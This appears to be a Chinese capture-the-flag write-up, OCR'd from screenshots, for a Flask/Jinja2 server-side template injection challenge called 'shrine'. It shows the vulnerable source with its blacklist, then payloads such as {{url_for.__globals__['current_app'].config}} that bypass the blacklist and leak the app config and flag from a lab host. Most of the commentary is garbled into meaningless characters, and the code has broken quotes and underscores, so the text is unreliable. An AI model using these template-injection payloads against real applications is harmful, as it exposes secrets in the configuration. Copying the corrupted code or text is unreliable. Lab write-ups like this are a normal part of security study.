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import flask
import os

app = flask.Flask(__name_ )

app.config[ 'FLAG'] = os.environ.pop('FLAG") //environIKEL R A HIFLAGS4L, S ANapp.configH

@app.route('/") // Vi "/ B AR I R s A
def index():
return open(__file_ ).read()

@app.route('/shrine/<path:shrine>")
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', ') // EH (R
blacklist = ['config', 'self']
return "'.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
//MHT{% set config=None%}{% set self=None%} + s, Jc¥iconfigflselfi& Anone, AFIZEFRETIH K

return flask.render_template_string(safe_jinja(shrine)) / /AR E G PR R b

if __name__ == '__main__ ":

app.run(debug=True)

ps 77T 0s.environ:

OS.ENVIRON()##_Mugingluan

python3k 3 —245 55 R 415 B
windows:

os.environ[HOMEPATH]: 241 ' 3 H %
os.environ[ TEMP]: Il H s 842 .
0s.environ[PATHEXT]: il $447 32 12
0s.environ['SYSTEMROOT’]: £ 4; 1= H 5.
os.environ[LOGONSERVER|:HL 84 .
0s.environ[PROMPT]: % & #2751 «

linux:

os.environ['USER']: 24 &5 FH F = .
os.environ['LC_COLLATE]: #1247 & [ 45 Sk P i 1 - BENU o
os.environ['SHELL']:{# Fshell(1) 27

os.environ['LANT: & FH ({)1E 5 .
os.environ['SSH_AUTH_SOCK']:sshfJ$i47 442 .
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/shrine/{{8*9}}
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INT v = @ SQLBASICS- UNION BASED- ERROR/DQUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYI
= Load URL [ http://39362138-f1a3-4037-bddb-16fa6335196f.node4.buucj.cn:81/shrine/{{8*9}}
B split URL
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[ ] Postdata [ | Referrer 4™ OxHEX 3% &% %URL 3 @ BASE64 ™ | /nsert string to rep/aceE
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KA join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s iXB&, FAI1ICIEEZM HeonfigtiBRAFEFTH
app.config i %%, 15F] HpythonX G 2 1] 1) 51 H 2% R K 18 F B 25 FH () ek 200 B o

current_appf{E 2 M Hi {8 H lapp, 7T Ll current_app & Y fiifappltconfig
AW Mask iy B g £, 7T AL A globals()ef 215 21l 42 J5 7% S current_app (url_forfiiget_flashed_messages)

flaskHe 52 th R I BRI £ link

url_for()
url_forsx R H % A FR % 2% BR 044 3R [B1Z 28 HO 82 AT URL, AE AR R 2448 F url_for() sl bA-22 4= B Bl fr 455 AOURL, A L AHL O AR
T e A

{{url_for('home')}}
/

IR IRATTRE SR T URLS 5 2 5010, U AT BB e AT E A %8 5 S8l Aurl_for(), Flask 2B At T8 78 Bk i 28 A2 il i URL Hb -

{{ url_for('post', post_id=1)}}
/post/1

get_flashed_messages()
AN R 2R A 2 BT rEflask i i flask() 1 N BI7H B B9 Z13, flashed £ /8 A AR ] 52, o7 BAAE B Python 745 8 2 7w 19 7H SN — /N7 S A %71
i, H#ifget flashed message() R HHL L B AT 24

{%for message in get_flashed_messages()%}

{{message}}
{%endfor%}

payload:

/shrine/{{url_for.__globals_ }}
#current_app': <Flask 'app'>


https://www.cnblogs.com/skaarl/p/9416728.html

& Load URL [ http://39362138-f1a3-4037-bddb-16fa6335196f.node4.buucj.cn:81/shrine/{{url for. globals_}}
B split URL

» Execute
J

[ ] Postdata [ |Referrer 4 OxHEX »  @%® %URL 3 @™ BASE64 ™ | /nsert string to /ep/ace‘ ‘/nssr! replacing string Replace All 2 ™=

{'find_package" <function find_package at Ox7fec2e09a140>, ' find_package path" <function find package path at 0x7fec2e09a0c8>,

'get load dotenv': <function get_load dotenv at Ox7fec2e1bca28>, ' PackageBoundObject': <class 'flask.helpers. PackageBoundObject'>,

' " <Flask 'app'>, 'PY2": True, 'send_from_directory" <function send_from_directory at Ox7fec2e1bced8>, 'session': <NullSession
{}>, 'io": <module 'io' from '/usr/local/lib/python2.7/io.pyc'>, 'get_flashed_messages’: <function get_flashed_messages at 0x7fec2e1bcd70>,
'‘BadRequest’: <class 'werkzeug.exceptions.BadRequest'>, 'is_ip": <function is_ip at Ox7fec2e09a7d0>, 'pkgutil: <module 'pkgutil’ from
'/usr/local/lib/python2.7/pkgutil.pyc'>, 'BuildError": <class 'werkzeug.routing.BuildError'>, 'url_quote": <function url_quote at O0x7fec2e3f9aa0>,
'FileSystemLoader": <class 'jinja2.loaders.FileSystemLoader'>, 'get_root_path': <function get_root_path at Ox7fec2e1bcf50>, ' _package_ "
'flask’, 'locked_cached_property": <class 'flask.helpers.locked_cached_property'>, '_app_ctx_stack" <werkzeug.local.LocalStack object at
Ox7fec2e1ec850>, *_endpoint_from_view_func': <function _endpoint_from_view_func at Ox7fec2e1bcaa0>, 'total_seconds": <function
total_seconds at 0x7fec2e09a1b8>, 'fspath": <function fspath at Ox7fec2e1dce60>, 'get_env': <function get_env at 0x7fec2e1bc6e0>,
'RequestedRangeNotSatisfiable": <class 'werkzeug.exceptions.RequestedRangeNotSatisfiable'>, 'flash": <function flash at Ox7fec2e1bccf8>,
'mimetypes": <module 'mimetypes’ from '/usr/local/lib/python2.7/mimetypes.pyc'>, 'adler32": <built-in function adler32>,
'get_template_attribute’: <function get_template_attribute at Ox7fec2e1bcc80>, ' request ctx stack': <werkzeug.local.LocalStack object at
Ox7fec2e1e1390>, ' builtins__": {'bytearray": <type 'bytearray'>, 'IndexError": <type 'exceptions.IndexError'>, ‘all': <built-in function all>, 'help™:
Type help() for interactive help, or help(object) for help about object., 'vars': <built-in function vars>, 'SyntaxError': <type
‘exceptions.SyntaxError'>, 'unicode': <type 'unicode'>, 'UnicodeDecodeError': <type 'exceptions.UnicodeDecodeError'>, 'memoryview'": <type
'memoryview'>, 'isinstance’: <built-in function isinstance>, 'copyright’: Copyright (c) 2001-2019 Python Software Foundation. All Rights
Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National ReseaifcH inifiatives. Al | | y,
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/shrine/{{url_for.__globals__ ['current_app'].config}}
B
/shrine/{{get_flashed_messages.__globals__ ['current_app'].config}}

INT v = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY~ TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

@ Load URL (http://39362138-f1a3-4037-bddb-16fa6335196f.noded.buuoj.cn:81/shrine/{{url for. globals_['current app'l.config}} N =
1§ splituRL

» Execute )

[] Postdata [ ] Referrer % OxHEX 3» &% %URL 3» % BASE64 I ‘/nssrrsm’ng to /ep/aceH/nsen replacing sm'ng‘ Replace Al :'

<Config {'JSON_AS_ASCII": True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE": False, 'SESSION_COOKIE_PATH': None,
'SESSION_COOKIE_DOMAIN'": None, 'SESSION_COOKIE_NAME'": 'session’, 'MAX_COOKIE_SIZE": 4093, 'SESSION_COOKIE_SAMESITE'": None,
'PROPAGATE_EXCEPTIONS'": None, 'ENV": 'production’, 'DEBUG': False, 'SECRET KEY': None, 'EXPLAIN TEMPLATE LOADING": False,
'MAX_CONTENT LENGTH': None, 'APPLICATION_ROOT": */", 'SERVER_NAME'": None, 'FLAG": ([EL IO e R P e e L Ry P LY v )
'PREFERRED_URL_SCHEME': 'http’, 'JSONIFY_PRETTYPRINT REGULAR' False, 'TESTING': False, 'PERMANENT SESSION _LIFETIME":
datetime.timedelta(31), ' TEMPLATES AUTO RELOAD': None, 'TRAP BAD REQUEST ERRORS'": None, 'JSON_SORT KEYS': True,
'JSONIFY_MIMETYPE': 'application/json’, 'SESSION_COOKIE_HTTPONLY": True, 'SEND _FILE MAX AGE_DEFAULT": datetime.timedelta(0, 43200),
'PRESERVE_CONTEXT_ON_EXCEPTION'": None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}>
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